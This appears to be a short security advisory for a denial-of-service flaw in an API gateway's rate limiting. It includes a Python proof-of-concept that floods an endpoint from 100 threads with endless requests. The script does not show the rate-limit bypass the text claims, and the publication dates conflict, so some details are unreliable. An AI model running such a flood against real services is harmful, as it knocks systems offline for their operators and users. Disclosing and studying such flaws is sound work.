Medium Severity
Published: Apr 2, 2024

Denial of Service via Resource Exhaustion

Dos
Type
5.3
CVSS Score
71
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Description

A denial of service vulnerability exists in the API rate limiting implementation. Attackers can bypass rate limits and cause service unavailability through resource exhaustion.

Affected Systems

API Gateway v1.0-1.8, Linux/Windows

Proof of Concept

Security Warning

This code is provided for educational and research purposes only. Do not use against systems you do not own or have explicit permission to test.

Exploit Code
import requests
import threading

def flood_api():
    while True:
        requests.get("https://api.example.com/endpoint")

# Launch multiple threads
for i in range(100):
    threading.Thread(target=flood_api).start()

Timeline

Discovered: Mar 28, 2024
Published: Apr 1, 2024
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